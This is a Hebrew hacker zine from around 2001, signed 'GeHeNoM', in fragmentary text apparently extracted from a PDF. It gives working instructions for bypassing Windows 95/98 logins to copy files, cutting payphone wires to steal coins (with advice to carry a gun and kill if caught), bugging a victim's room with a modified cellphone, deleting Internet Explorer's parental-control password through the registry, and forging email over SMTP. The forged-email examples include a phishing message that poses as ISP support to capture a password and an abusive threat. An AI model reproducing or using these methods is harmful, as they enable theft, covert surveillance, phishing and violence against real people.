&*&*&**&*&**&*&*&**&&***
_&&*&*&&*&&*&*&_&****____
בהתחלה כדי לשים יותר ראשי גפרורים מדבק – כדי שיידלק טוב .
מקרא :
_ = גליל.
18
פריצת סיסמאות Windows95/98
כתבתי את הכתבה הזאת כדי להראות לכם כמה שהווינדוס שלכם לא מוגן.
בעוד עשר ,חמש עשרה דקות ,כשתגמרו כבר לקרוא את הכתבה,
אתם תעריכו את המערכת הפעלה שלכם הרבה פחות ,את עצמכם הרבה יותר,
ותוכלו להראות לחברים שלכם איזה ידע נפלא יש לכם .אבל הכי חשוב,
תוכלו לחדור לכל מחשב שמותקן עליו Windows95/98אפילו אם הוא מוגן עם סיסמא.
רק דבר אחד לפני שאנחנו מתחילים -הפריצה הזאת היא פריצה לוקלית ,מקומית.
כלומר היא עובדת רק אם יש לכם גישה פיזית למחשב שאליו אתם חודרים .יעיל מאוד במקרים
הבאים:
בי"ס ,מפעלים ,בנקים ,חנויות ,חברים ,וכו'
הגנת סיסמא
דבר ראשון ,כדי להראות לכם איך לפרוץ את הסיסמא ,צריך קודם להגן עם סיסמא.
איך אפשר לפרוץ משהו שלא קיים? אי אפשר.
לכן אם הווינדוס שלכם עוד לא מוגן בעזרת סיסמא ,עשו את הצעדים הבאים:
פריצת הסיסמא
19
אתם תקבלו תפריט שייתן לכם לבחור איך להתחיל את המחשב .בחרו ב Command prompt
only
מה שיקרה זה שהמחשב ייכנס לדוס .למי שלא מכיר ,דוס זה בעצם מערכת הפעלה שפועלת ע"י
פקודות מהמשתמש.
ווינדוס בעיקרון מבוסס על הגרעין של דוס אבל לא חשוב.
עכשיו הקלידו את השורה הבאה ולחיצו על מקש ה :Enter
העיקר הוא שלקובץ לא יהיה שיוך .כלומר שהווינדוס לא יזהה את סוג הקובץ .לדוגמא אל תהפכו
את זה ל:
- .jpgגרפיקה
- .gifגרפיקה
- .bmpגרפיקה
- .txtמסמך טקסט
- .docמסמך של וורד
- .pptמסמך של פאור פוינט
- .mp3קובץ סאונד
- .wavקובץ סאונד
- .midקובץ סאונד
20
פתחו חלון דוס ,והקלידו את השורה הבאה ולאחר מכן לחצו על מקש ה :Enter
אתם תקבלו תפריט שייתן לכם לבחור איך להתחיל את המחשב .בחרו ב Command prompt
only
עכשיו ,הרעיון בשיטה 3זה לא להיכנס לווינדוס ,אלא פשוט להשיג גישה לקבצים על המחשב.
למי שמכיר את דוס ,שייהנה .למה שלא ,אני אתן פה קצת עזרה...
תבדקו שאתם בספרייה הראשית ,כדי לעשות זאת הקלידו:
\c:
עכשיו שאתם בספרייה הראשית הקלידו
dir
כדי להיכנס לספרייה ששם נמצאים הקבצים שאתם רוצים הקלידו
cd directory
לדוגמא אם לספרייה קוראים Xfilesאז תקלידו
cd Xfiles
ואם לספרייה קוראים gamesאז תקלידו
cd games
עכשיו שוב הקלידו
dir
הכניסו דיסקט לכונן דיסקטים ותעתיקו את הקבצים שאתם רוצים .אם אתם רוצים את כולם,
הקלידו
copy *.* A:
אם אתם רוצים קובץ מסוים ,לדוגמא game.exeהקלידו
copy game.exe A:
21
איך לגנוב כסף ממכשירי טלפון
טוב ,כעת מייצאו טלפון כזה שיש לכם גישה לחוטי החשמל שלו.
פשוט חפשו את הכבל שמתפתל צמוד לקיר או את המצמת (תיבת חיבור).
עכשיו ,בקו טלפון רגיל ,יהיה שני חוטי חשמל .אדום וירוק.
בטלפון מסוג כזה ,יהיו ארבעה .אדום וירוק לתפעול התקשורת (העברת פולסים ושטויות),
וצהוב ושחור בשביל בדיקת המטבעות .חפשו מקום בכבל שבו חתך לא ייראה בולט לעין.
שליפו את הסכין שלכם וחיתכו בעדינות חלק מן הכבל כך שייחשפו ארבעת חוטי החשמל
הצבעוניים.
חיתכו לגמרי את השחור והצהוב והניחו לאנשים לנסות להשתמש בטלפון!...
* התקשרתם ,דיברתם ,ניתקתם ,והמטבע נשלך מתוך תיבת המטבעות הזמנית אל תיבת
המטבעות הרגילה
ופוגש שם את כל השקלים שהיו שם לפני כן ונשאר שם עד שטכנאי מוסמך של בזק בא עם מפתח
מיוחד ,פותח את התיבה ,ומוציא את כל הכסף...
* התקשרתם ,דיברתם ,ניתקם ,אבל שילמתם יותר ממה שהיה צריך .הכל מחושב ,העודף נופל
לתיבת העודף,
והשארית לתיבת המטבעות הרגילה ופוגש שם את כל השקלים שהיו שם לפני כן ונשאר שם עד
שטכנאי
מוסמך של בזק בא עם מפתח מיוחד ,פותח את התיבה ,ומוציא את כל הכסף...
* התקשרתם ,אף אחד לא ענה ,או שהיה תפוס ,או משהו דומה ,ואז ניתקתם.
ברגע שניתקתם המטבע נופל מתיבת המטבעות הזמנית ישר לתוך תא העודף.
זה פחות או יותר הסוד שעומד מאחורי רעיון השדידה שלנו פה.
אתם פשוט מאוד חוזרים בשעה 3:00לפנות בוקר ,מחברים בחזרה את חוט החשמל השחור
וגם כמובן את חוט החשמל הצהוב ,מדביקים עם סלוטייפ או משהו ,מרימים את השפופרת
ומקשיבים לצליל שאומר שיש קו (בפממממממממממממממ ,)...ומנתקים.
החלק הכייפי
#############
כמה טיפים:
22
* מומלץ ללבוש בגדים שחורים.
* מומלץ להיזהר מגמדים הומואים שמנים בכחול שיוצאים מניידת כחולה ומגעילה.
* אם מישהו רואה אתכם ,פשוט תגידו לו שהכל נפל ככה סתם .גם לא יזיק לתת לו קצת
אחוזים...
רק הערה אחרונה :כשאנשים ישימו שקל או שתיים אחרי שחתכתם את החוטים ,הכסף יישאר
במכונה,
והם גם לא יוכלו להתקשר ,כי החוטים שאחראים על בדיקת המטבעות לא יהיה פעילים...
אם זה יעצבן אותם מאוד ,הם עלולים לקרוא לטכנאי של בזק .לכן תבואו עם אקדח למקרה
חירום.
עדיף להרוג מאשר לשבת מאחורי סורגים .באמת.
GeHeNoM
23
הכנת מכשיר ציטוט מהפלאפון
בכל מקרה ,להכנת מכשיר כזה מהפלאפון שלכם אתם צריכים את הכלים הבאים:
* את המוח שלכם (מומלץ לבדוק שהוא עובד ע"י דפיקת הראש בקיר)
טוב ,כעת דבר ראשון שתעשו הוא להגדיר את הפלאפון ל"מענה אוטומטי" ולשים אותו במצב
שקט.
ועכשיו גבירותיי ורבותיי,
החלק המתוחכם שעושה את כל הקסם .בתחתית הפלאפון ,ישנם פינים ,שכאשר מחברים ביניהם,
עלול להיווצר קצר .קחו חוט חשמל ,ובזהירות חברו בין הפין האמצעי בצד שמאל לפין הימני.
ברגע שזה ייקרה הפלאפון שלכם ייתקע ומייד ייכנס למצב 'אוזנייה'.
כעת כל שעליכם לעשות הוא להחביא את הפלאפון איפושהו בחדר של הקורבן.
עכשיו לכו הביתה והתקשרו מהטלפון שלכם או מאיזה פלאפון שגנבתם למספר של הפלאפון
שאותו
הפכתם למכשיר האזנה .הפלאפון מיד יקבל את השיחה ,מה שלא עולה כסף כי זאת שיחה נכנסת,
ואתם
תשמעו את כל מה שמי שנמצא באזור הפלאפון שלכם אומר ועושה .רק תזכרו שמכשיר האזנה
עולה הרבה יותר
מפלאפון ,ולכן אם אתם משתמשים במידע זה בכדי להכין מכשיר כזה מהפלאפון שלכם ,לא יזיק
אם תשלחו
לי 300 ,200שקל בדואר.
שלכם,
GeHeNoM
24
פריצת סיסמת הצנזורה של Internet Explorer
הדפדפן של מיקרוסופט ,עם כל הדברים הטובים שבו ,והפופלריות שלו ,הוא לא הדפדפן הכי מוגן.
בכתבה הזאת אני אראה לכם משהו שלא ממש רציתם לדעת על הדפדפן אינטרנט שאתם כל כך
אוהבים.
כפי שידוע ,בדפדפן של מיקרוסופט קיימת האפשרות לצנזר אתרים מסוימים ולחסום אליהם את
הגישה.
הדבר נועד למורים/הורים שלא רוצים שאנחנו הילדים נוכל להיכנס לאתרי פורנוגרפיה ,אנרכיה,
וכו'
אבל לפני שאני אראה לכם איך להוריד את הגנת הסיסמא ,קודם ,לאלה מכם שלא מצנזרים להם,
אני רק אראה למה אני מתכוון .פיתחו את הדפדפן (.)Internet Explorer
חלון חדש ייפתח ,עם כל מיני תפריטים כגון,General, Security, Content, Connections :
ועוד...
לחצו על Content
התבוננו ב Content Advisorלרגע.
זה נועד לחסום גישה לאתרים ,ואפשר להוריד את החסימה רק על ידי סיסמא.
כדי להראות לכם למה אני מתכוון לחצו על כפתור ה Enable
ותפעילו את החסימה .שימו סיסמא שתוכלו לזכור .סגרו את הדפדפן.
פיתחו אותו מחדש .עכשיו נסו להיכנס לאתר שחסמתם .מה קורה? יפה.
עכשיו נסו להוריד את החסימה .זה יבקש ממכם סיסמא .אתם כמובן יודעים אותה ,כי אתם
בחרתם אותה,
אבל נניח אתם לא יודעים אותה .הקלידו סיסמא שגויה .מה קורה? אחלה .עכשיו את הסיסמא.
כמו שאתם רואים אתם עכשיו יכולים לבטל את החסימה .אבל אל תבטלו .עכשיו הגיע הזמן
שתראו איך
פורצים את זה בלי לדעת את הסיסמא .מוכנים? אני ממליץ להדפיס את הקטע הבא,
כי זה לא משהו שקל לזכור בעל פה .אז איך בדיוק עושים את זה? עם הרג'יסטרי.
Windows Registry
מה זה הרג'יסטרי?
הרג'יסטרי זה פשוט דאטאבייס ( )databaseענק שבווינדוס NT/95/98הוא בעצם
מחליף את כל קבצי ה .pifוה .iniועוד כל מיני קבצי אינפורציה שהיו לנו בווינדוס 3.11ו 3.1
אז במילים אחרות ,כל האפשרויות ( )Settingsשל החומרה ,וכל מיני תוכנות נמצאות שם .עכשיו
הכירו את
עורך הרג'יסטרי .Regedit -אתם תשמשו בעורך הזה הרבה .אם כדי לתקן בעיות במחשב ,לעשות
שיפורים,
או לדוגמא ,לפרוץ את סיסמת ההגנה של אינטרנט אקספלורר.
אני עכשיו לא אראה לכם צעד אחר צעד איך משתמשים בעורך ,כי זה לוקח זמן.
מה שכן ,אני אראה לכם צעד אחר צעד איך לפרוץ את הסיסמא.
פריצת הסיסמא
25
HKEY_LOCAL_MACHINE -> SOFTWARE -> Microsoft -> Windows -> Current
Version -> Policies
התבוננו בציידו הימיני של העורך .אם יש הגנת סיסמא ,אתם תראו משהו שכתוב עליו .Key
סמנו את זה עם העכבר ולחיצו על מקש ה .Deleteלאחר שמחקתם את זה ,הסיסמא כבר לא
תהיה קיימת.
זה מכיוון שהסיסמא הייתה בפנים .היא פשוט הייתה מוצפנת כמובן ....זאת כדי שלא תוכלו
לדעת מה היא,
אם כי קיימות תוכנות שהופכות את זה לטקסט נקי ומראות לכם מה הסיסמא .אבל תוכנות
כאלה בד"כ לא ניתנות
להפצה בחינם ,והם בהחלט לא שוות את הכסף שמבקשים עבורם .אם אתם בכל זאת מעונינים,
נסו את האתר הבא:
http://www.ntbugtraq.com
רק הערה אחרונה -אחרי שאתם מוחקים את הסיסמא ,תסגרו את הדפדפן ,ותיכנסו אליו שוב.
תעשו את זה כדי שהדפדפן יידע שאין יותר סיסמא .הוא בודק ברג'יסטרי רק כשהוא נפתח
מחדש.
לכן אם הוא פתוח כשאתם מוחקים את הסיסמא ,הוא לא יידע שמחקתם ,ויבקש סיסמא...
אז פשוט סגרו את הדפדפן ,ואז תפתחו אותו שוב ,ולא יהיה בעיות.
זהו.
עכשיו לכו לבי"ס,
תעיפו את ההגנה של הדפדפן ,ותגלשו חופשי.
שלכם,
GeHeNoM
26
שימוש חוזר בכרטיסי טלכרט
GeHeNoM
27
שימוש חוזר בכרטיסי טלכרט -שיטה מס2 .
Gehenom
28
זיוף - Emailחלק 1
החלטתי שלפני שאני אסביר משהו ,הפעם נתחיל מייד עם האקשן ()Yeah, right...
רק אח"כ אני אסביר מה עשינו ,ונתחיל לשחק עם זה)Play with it???( ...
רק דבר אחד לפני שאנחנו מתחילים ,את האקשן הראשוני נעשה עם .Hotmail
למה עם ?Hotmailמכמה סיבות:
* מסיבות כאלה ואחרות אני רוצה שגם אתם תשנאו את מיקרסופוט ותצטרפו למועדון השונאים
והשונאות.
אם אני אראה לכם כמה קל זה לשלוח אי מיילים מזויפים ללקוחות שלהם ,סביר להניח שלא
תאהבו אותם על כך.
בעיקר בגלל שסביר להניח שכרגע אתם לקוחות שלהם.
* ככה סוף סוף תעזבו אותם .תזרקו אותם .ותשיגו כתובת אי מייל נורמלית.
לא עוד you@hotmail.comמגעיל ....אלא מעכשיו you@any-thing-else-ya-want.com
יפהפה.
................................................
הערה:
Hotmail.co.ilו Hotmail.comזה לא אותו דבר.
גם המנויים של Hotmail.co.ilצריכים ללכת לאתר
של Hotmail.comולהירשם .אם לא תעשו את זה,
אז כלום פה לא יעבוד...
רק מי שרשום ל Hotmail.comלא חייב להירשם שנית
אלא ישתמש בכתובת שקיבל מ Hotmail.com
תודה
................................................
29
* בחרו בהפעלה...
* עכשיו הקלידוtelnet mail.hotmail.com 25 :
ולחיצו על כפתור ה .Enter
חלון חדש ייפתח .זה חלון טלנט .מה שאנחנו בעצם עושים פה זה מטלנטים (מתחברים )..לשרת
דואר של
Hotmailלפורט .25מבולבלים?
תסגרו את חלון הטלנט ואני אסביר לכם....
האינטרנט הוא בעצם רשת ענקית של רשתות מחשבים מחוברות אחת לשנייה.
ביחד זה בלגן אחד גדול של תעבורת אינפורמציה בין מיליוני מחשבים .מחשבים ביתיים ,שרתים,
תחנות עבודה ,Main Frames ,מפלצות ,חתולים ,מה שאתם לא רוצים.
עכשיו ,לא לכל המחשבים האלה יש .Windowsבעצם ,לרובם אין .לרוב השרתים לפחות...
בכל מקרה ,מכיוון שלא לכל המחשבים יש מערכת הפעלה אחת סטנדרטית ,צריך כלי תקשור
סטנדרטי.
צריך חוקים מסוימים ,שכל מחשב ילך לפיהם כדי לתקשר עם מחשבים אחרים .צריך שפה
משותפת בין המחשבים.
צריך ....פרוטוקולים ....יפה .עכשיו לא נתחיל לדבר פה על כל הפרוטוקולי אינטרנט כי יש הרבה,
אבל תבינו שהדפדפן אינטרנט המחורבן שלכם זה לא אינטרנט .זה דפדפן .הוא מתחבר לשרת
.HTTP
ולפי חוקי פרוטוקול ה HTTPהוא מתקשר עם השרת ,מקבל את המידע על האתר( ,בשפת
)HTMLומתרגם את זה
למה שאתם רואים בדפדפן.
דרך אגב,
כלומר פרוטוקול של העברת היפר טקסט .או במילים אחרות טקסט שאתם לוחצים עליו וכך
עוברים לטקסט אחר.
מה שנקרא בשפה המודרנית -לגלוש .ובשפה הדו מודריונרית -סתאאאאאם .לא חשוב.
עכשיו ,אי מייל לעומת זאת משתמש בשני פרוטוקולים SMTP :ו .POP3
אנחנו עכשיו נשתמש רק ב .SMTPלמי שמעוניין,
ובקציצוצוציצור עכשיו ,מה שנעשה זה ,בדיוק כמו שהדפדפן אינטרנט שלכם מתחבר לשרת
HTTPלפורט ,80
אנחנו נתחבר לשרת SMTPלפורט .25למה? ככה .אני לא אסביר את זה בכתבה הזאת כי אין
מקום...
ואז ,כמו שלדוגמא ניקח את ה MS Outlookשלכם ,כמו שהאאוטלוק (או כל תוכנת דואר אחרת)
מתקשרת עם
שרת הדואר ( ,)SMTPככה הפעם אנחנו נעשה י ד נ י ת .נעשה חיבור חי .ונדבר עם השרת .דמיינו
שעכשיו
אתם תוכנת אאוטלוק .או כל תוכנת דואר אחרת שאתם רוצים .עכשיו דמיינו שאתם אפרוח.
עכשיו דמיינו שאתם במדינה שבה סמים הם דבר חוקי .דמיינו שאתם..
###עכשיו תתעוררו ותחזור למציאות המרושעת### .
נמשיך.
לוחצים על התחל ,הפעלה ,ומקלידים .telnet
זה ייפתח את תוכנת הטלנט ,שנותנת לנו להתחבר לאיזה שרת שאנחנו רוצים לאיזה פורט שאנחנו
רוצים.
מה זה פורט (יציאה)? ובכן ,הכוונה הטכנית היא למשהו שפתוח במחשב ומוכן לחיבור .כלומר
מחכה לחיבור
ממחשב אחר (או מכל דבר אחר בעצם) .אבל בדרך כלל כשמדברים על פורט מתכוונים למספר של
הפורט.
30
לדוגמא פורט .80
פורט 80למי שלא יודע זה השרת אינטרנט.HTTP ,
כמובן שזה לא תמיד חייב להיות דווקא ככה ,בעיקרון כשפותחים שרת אפשר לקבוע דרך איזה
פורט יהיה אפשר לגשת אליו .אבל בד"כ פורט 80זה אתר אינטרנט .פורט 110זה דואר נכנס.
פורט 25זה דואר יוצא ,ולכן אנחנו נתחבר לפורט .25אבל שוב ,זה לאו דווקא תמיד ככה.
למי שרוצה לדעת למה דווקא פורט 80זה לשרת אינטרנט ולמה דווקא פורט 25לדואר יוצא,
אז ככה :לכל פרוטוקול אינטרנט יש ,RFCשמגדיר אותו .זה לא אומר שכל RFCמגדיר
פרוטוקול אינטרנט.
יש גם RFCעל אבטחה ,או על תוכנה חדישה בפיתוח ,או סתאם הערות על פיתוח טכנולוגיית
אינטרנט
כזו או אחרת .יש RFCמצחיק ,יש RFCדפוק ,יש כל מיני.
עכשיו ,שם קובעים את הסטנדרטים לכל פרוטוקול .ככה כל חברה או תכנתן יחיד יכול לתכנת את
תוכנת השרת
או את תוכנת הלקוח שלו לפי אותם החוקים שכל חברה/תכנתן אחר בעולם ייעשה ולא משנה
לאיזה מערכת הפעלה
זה מתוכנת זה יוכל לתקשר עם השרת/לקוח של האחר.
(שרת/לקוח :תוכנת לקוח = אינטרנט אקספלורר לדוגמא | תוכנת שרת = HTTPDלדוגמא [ למי
שמכיר ] )
לכן אאוטלוק יכול להתחבר לשרתי דואר על מקינטוש ,יוניקס ,ווינדוס ,נובל וכל מערכת אחרת
בעצם.
לכן שרת הדואר של מיקרוסופט יכול לקבל אימייל מכל תוכנת דואר שבעולם.
עכשיו נחזור לזיוף האימייל שלנו .הרי הבטחתי לכם מייד אקשן.
טוב ,תחזרו לחלון הטלנט ,ומי שאצלו זה עדיין לא פתוח שייפתח .שוב ,כדי להיכנס לתוכנת
הטלנט
תלחצו על התחל ,הפעלה ,והקלידו .Telnet
עכשיו ,לחצו על תפריט Terminal
בחרו ב Preferences...
ובדקו ש' 'Local Echoמסומן .אם הוא לא מסומן ,סמנו אותו עכשיו ,ואז לחצו על .OK
מה שה Local Echoעושה זה שהטקסט שתקלידו לשרת יוצג על המסך שלכם .זה חשוב מאוד.
עכשיו לחצו על תפריט Connectובחרו ב Remote System...
כאן ייפתח לכם תיבה שמבקשת פרטים על השרת שברצונכם להתחבר אליו.
31
Helo hacker
Mail from: rohm@pmo.gov.il
Rcpt to: hacker@hotmail.com
data
From: IL Goverment
Subject: Israel's Goverment is Proud of you
Date: Feb 12 2001
Hi Hacker
The Israeli Goverment is very proud of you
You now have the knowledge to forge email, which is real cool
And usefull too. Please use it correctly and carefully
IL Govermnet
.
GeHeNoM
32
זיוף - Emailחלק 2
}}}
{{{{
טוב ,אז אם כי זה לא נמצא בכל שרת ,רוב שרתי הדואר מבקשים שאתם,
אלה ששולחים את האימייל ,תזדהו .זאת כדי שיידעו מי אתם .בד"כ כשאתם שולחים/מקבלים
אימייל
הוא עובר דרך יותר משרת אחד .כאשר לכל שרת שהוא נשלח השרת שממנו הוא הגיע מזדהה,
וכך מי שמקבל את
האימייל יודע דרך איפה זה עבר .זה יכול להיות מאוד יעיל במקרים מסוימים .כמובן שזאת לא
הסיבה
העיקרית ,זאת סתאם הייתה דוגמא שאתם כנראה תשתמשו בה בעתיד .בכל מקרה ,פקודת
ההזדהות היא:
HELO
עכשיו ,לא כל השרתים מתייחסים לפקודה באותה צורה .יש הרבה שרתים שבכלל לא משתמשים
בפקודה הזאת,
ואם תשלחו להם את הפקודה הם לא יידהו אותה .בשרתים אחרים לעומת זאת ,הפקודה היא
חובה ,ובלעדיה,
לא תוכלו לשלוח את האימייל .אצל רוב השרתים ,אתם לא חייבים להגיד ,HELOלמרות
שכנראה השרת יעיר
לכם על כך אבל הוא בכל זאת ייתן לכם לשלוח דרכו את האימייל .ככה שתעשו מה שאתם רוצים.
אני רק אבהיר
פה משהו חשוב :הפקודה HELOהיא לא זאת שגורמת להזדהות .כלומר ,אם לא תכתבו HELO
זה לא אומר שאתם
אנונימיים והשרת לא יודע מי אתם .הפקודה רק מסמלת את ההזדהות והרבה פעמים ככה השרת
גם יודע דרך איזה
33
תוכנה שלחו את האימייל או מאיזה דומיין .בכל מקרה ,אני ממליץ שתשחקו עם זה בדיוק כמו
עם כל פקודה
שאני אתן פה .אצל mail.hotmail.comלדוגמא ,לא רק שתיאלצו לכתוב את הפקודה,
אלא גם תצטרכו להגיד מי אתם.
דוגמאות:
HELO Eduction.gov.il
HELO walla.co.il
HELO hacker
HELO FuckYou
HELO Ido
טוב .רק הערה אחרונה בקשר ל ,HELOאם אתם תוהים למה זאת פקודת הזדהות אם בד"כ
כותבים רק HELOבלי
להזדהות ,אז ככה ,ברגע שאתם כותבים:
HELO
השרת מגיב ב Lookupשבודק את כתובת המחשב שלכם .אבל שוב ,זה לא אומר שאם לא תכתבו
HELOשרת הדואר
לא יידע מי אתם....
טוב ,אז אחרי ה HELOבאה הפקודה הבאה.MAIL :
הפקודה MAILאומרת לשרת שיתחיל עכשיו שליחת אימייל חדש ,ויימחק (כמעט) את כל המידע
שהיה לו עד עכשיו
על המכתב שעבר ,כולל מי יקבל את המכתב ,את תוכן המכתב עצמו ,את השולח וכו' .מקלידים
את הפקודה
בצורה הבאה:
את הפקודה MAILהשרת מקבל רק פעם אחת .ברגע שהשרת קיבל את הפקודה ,הוא יגיב עם
הערה חיובית
שבאה יחד עם המספר .250כמעט ואף פעם לא יקרה לכם שהשרת לא יחזיר תגובה של 250
אחרי פקודת ה .MAIL
זאת מכיוון שהשרת במקרה זה ,מקשיב למה שאומרים לו .ואם תגידו לו שאתם
yosi@sdf.sdf.bye.fuckהוא
יקבל זאת .כמובן שזה לא נכון לכל שרתי הדואר ,אבל אצל רובם זה כך .באמת .נסו את זה
בעצמכם.
מקסימום הוא יגיד לכם שהדומיין sdf.sdf.bye.fuckלא קיים .אבל זה ייקרה לעיתים מאוד
רחוקות..
במקרה וכתבתם
MAIL FROM: Tosi@hotmail.com
במקום
MAIL FROM: Yosi@hotmail.com
פשוט הקלידו מחדש את מה שרציתם,
34
ומכיוון שאחרי פקודת ה MAILהשרת מוחק את המידע שהיה לו על המכתב ,הכתובת החדשה
והנכונה תתקבל ,ולא זאת השגויה .רק הערה קטנה ,הפקודה MAILלא נועדה בכדי למחוק את
המידע,
בשביל זה יש פקודה נוספת ...אבל תרגישו חופשיים להשתמש בזה בהתחלה כדי לתקן את ה
.MAIL
עכשיו ,את הפקודה RCPTאפשר לכתוב ללא הגבלה כמה פעמים שאתם רוצים.
וכל זה במכתב יחיד!! לדוגמא הייתם רוצים לשלוח אימייל מזויף
לכל הלקוחות של בזק בינלאומי בפעם אחת ,אתם מתחברים לשרת דואר שלהם ומקלידים משהו
כזה:
HELO
MAIL FROM: support@bezeqint.net
RCPT TO: user1
RCPT TO: user2
RCPT TO: user3
RCPT TO: user4
RCPT TO: user5
RCPT TO: user6
וכן הלאה ...כמובן ש user1עד user6הם סתאם שמות שהמצאתי והם לאו דווקא אמיתיים...
אז כמו שאתם רואים אפשר להקליד את הפקודה RCPTאלפי פעמים בכל אימייל .עם הפקודה
MAILלעומת זאת,
אי אפשר לעשות את זה .אלא תיאלצו לכתוב את כל האימייל מחדש בשביל זה .ועכשיו לפקודה
הבאה שלנו,
שהיא ה .DATAפקודת ה DATAמתחילה את המכתב עצמו .כלומר בפקודה זו ,אנו כותבים את
המכתב.
אחרי שגמרנו ,איך אומרים לשרת שגמרנו לכתוב את המכתב? פשוט מקלידים נקודה בשורה
נפרדת.
לדוגמא:
DATA
Hi danny, What's up? I heard you just got
35
the latest album of 2pac. what shall i say? It sucks
I've heard it like a thousand times
anyway, enjoy it
bye
.
ה ( .נקודה) בסוף מאוד חשובה .זה גם הכרחי שהיא תהיה בשורה נפרדת.
את המכתב אפשר כמובן גם לכתוב בעברית .עוד משהו חשוב ,זה שהפקודה DATAכוללת גם את
הראשים.
כלומר את התוספות של המכתב .כגון הנושא (או הכותרת אם אתם רוצים) ,את התאריך,
כתובת/שם השולח
ולפעמים גם עוד כמה דברים .את הראשים (תוספות) כותבים כך:
לדוגמא:
DATA
Date: 23 Oct 00 11:29:33
From: Matrix@walla.co.il
To: yanir_br@yahoo.com
Subject: Happy Birthday
Hi Yanir
I Wish you a Happy Birthday
Hope you'll enjoy being 15
I bought you this real awesome thing
You must see it
email me back as quick as ya can to matrix@walla.co.il
c ya, matrix
.
כמו שאתם רואים ,יש שורה ריקה המבדילה בין הראשים (תוספות) למכתב עצמו .השורה הזאת
היא הכרחית.
עכשיו ,את המידע של הראשים (שולח ,נושא וכו') אפשר לכתוב גם בעברית.
כמו כן אם ב MAILציינתם את כתובת השולח ,מה שבטוח עשיתם ,אז בתוספת Fromאפשר
לכתוב
שם או כינוי במקום כתובת אימייל .זה גם מאוד מומלץ לעשות את זה .עוד משהו,
זה שאת התוכן של ה Dataעצמו אפשר גם לכתוב בעברית .עכשיו נסיים את זה עם כמה
אימיילים מזויפים
ששלחתי .דרך אגב ,הכל פה אמיתי .עשיתי לוגים מיוחד בשביל הטקסט הזה .זה הכל הוקלט חי
מתוכנת הטלנט.
בסוף הדוגמאות ,אני אראה לכם איך אתם יכולים גם להקליט את הזיופים שלכם ,וכך תוכלו
לעשות עם זה
מש שאתם רוצים ...להראות לחברים ,להדפיס ,או לא יודע מה ...בכל אופן ,הנה הדוגמאות:
36
PIPELINING-250
AUTH=LOGIN-250
8BITMIME 250
Mail from: ***@***.net.il
ok 250
Rcpt to: ***@***.com
ok 250
Data
go ahead 354
Date: 10 Nov 12:31
Subject: Error in I/O section
From: *** support team
To: ***@****.com
.בכל מקום שאתם רואים '***' זה אומר שמחקתי את מה שהיה ושמתי *** במקום
. שולח ונמען, החלטתי שעדיף שלא תדעו את שמות השרת.עשיתי את זה כדי לצנזר
מה שעשיתי באימייל הזה זה שלחתי אימייל למשתמש של ספק, כמו שאתם רואים,בכל מקרה
,מסויים
הוא מתבקש.כאשר הוא חושב שהוא קיבל את האימייל הזה מצוות התמיכה של אותו ספק
לשלוח את הסיסמא
התוכנת דואר, כשהוא מגיב עם הסיסמא, עכשיו.שלו בכדי שיוכלו לתקן איזה בעיה בשרת
אומרת לו שזה
. אבל מה שבאמת קורה זה שזה שולח את זה למישהו אחר, של אותו ספקsupport team נשלח ל
זה שולח את זה
עכשיו.שמחתי זה לא עובד ככה בכל שרת דואר/ אבל לצערי.Mail from לכתובת שכתבנו ב
:לדוגמא הבאה
37
invalid address 550
rcpt to: ***@***.com
Requested action not taken:user account inactive 550
rcpt to: ***@***.com
Requested mail action okay, completed 250
data
>Start mail input; end with <CRLF>.<CRLF 354
Date: 13 Nov 98 11:05
Subject: Fuck You
From: ***.com
To: ***@***.net
.Hi there
.You better start shakin you fuckin asshole
.You damn jew hater. Fuck it OFF. I took you site down
...If you put it back up, I'll take it down again
!No Nazis aloud on the net
.Suck it you motherfucker
.
Requested mail action okay, completed 250
quit
Service closing transmission channel 221
כמו שאתם רואים ,באימייל הזה השרת לא הסכים לקבל את פקודת ה HELOשלי ,וביקש
שאכתוב גם דומיין.
רק אח"כ הוא נתן לי להמשיך .כמו כן ,לפני ה MAILכתבתי RPCTמה שגרם לשרת להגיד לי
שלפני שאני
כותב RCPTעלי לכתוב MAILורק אחרי זה אוכל לכתוב .RCPTאח"כ ,כשכתבתי את ה
RCPTהבא ,השרת העיר
לי שהכתובת אינה תקינה .ובניסיון השני הוא העיר לי שהשם משתמש לא קיים .רק בניסיון
השלישי הוא הסכים.
כלומר ,שרתי הדואר הם בד"כ מאוד ידודיתיים ויש להם יכולת תקשור נוחה יותר
מאשר לשרתים אחרים כגון POPאו .HTTPטוב ,עכשיו כמו שהבטחתי מקודם ,אני אראה לכם
איך גם אתם יכולים להקליט את הזיופים שלכם.
פיתחו את חלון ה .Telnetלמי שלא זוכר ,לוחצים על התחל ,הפעלה ,ואז מקלידים .Telnet
כעת לחצו על תפריט ה Terminalובחרו ב .Start Loggingאתם תתבקשו להקליד את שם הקובץ
שעליו
ברצונכם להקליט את הזיוף .לדוגמא c:\fake :או .c:\yonatan\hacking\testמה שבא לכם...
אח"כ תתחברו לשרת הדואר ותעשו מה שאתם רוצים( .או כל שרת בעצם ,לאו דווקא דואר)...
כשאתם גומרים ורוצים לסיים את ההקלטה ,בחרו ב ,Terminal :ואז .Stop Logging
עכשיו סגרו את חלון הטלנט ,ופיתחו את הקובץ שעליו הקלטתם .לקובץ יהיה סיום של .log
לדוגמא:
test.log
cool.log
fuckit.log
וכו'.....
זהו .רק דבר אחרון לפני שאתם עוברים לחלק השלישי והאחרון,
38
הרבה שרתים תומכים בפקודה מאוד יעילה ,והיא פקודת .HELP
נסו את זה בכמה שרתי דואר שונים .שחקו עם זה .זה יכול לעזור לכם מאוד לפעמים.
39
זיוף - Emailחלק 3
RSET
VRFY
NOOP
VRFY slut
השרת יגיד לכם אם החשבון slutאכן קיים או לא .זה יכול להיות מאוד מאוד יעיל במקרים
מסוימים,
אך בד"כ משתמשים בזה חברות מסחריות שרוצות לשלוח לכם מליון
פרסומות מעצבנות כי הם חושבים שהם ירוויחו מזה כסף ולא קולטים
שהם סתאם מעצבנים וגורמים לנו לשנוא אותם ואת המוצרים המחורבנים שלהם.
טוב ,לפקודה הבאה והאחרונה .הפקודה NOOPהיא פקודה שתפקידה לעשות ....כלום.
הפקודה NOOPלא עושה כלום .זה מה שמיוחד ומגניב בא .תנסו בעצמכם .מומלץ מאוד.
הפקודה
קיימת בהרבה מאוד שרתי דואר .אז למה היא קיימת אם היא לא עושה כלום? כי את האמת היא
כן עושה משהו...
רק לא משהו שממש נראה לעין .היא פשוט מאוד נקלטת לשרת ,ובד"כ גם מחזירה פלט אל מסך
המחשב שלכם האומר
שהפקודה נקלטה ,התקבלה וכו' .כלומר ,זה יכול להיות יעיל כדי לבדוק שהחיבור בסדר ,או
סתאם את מהירות
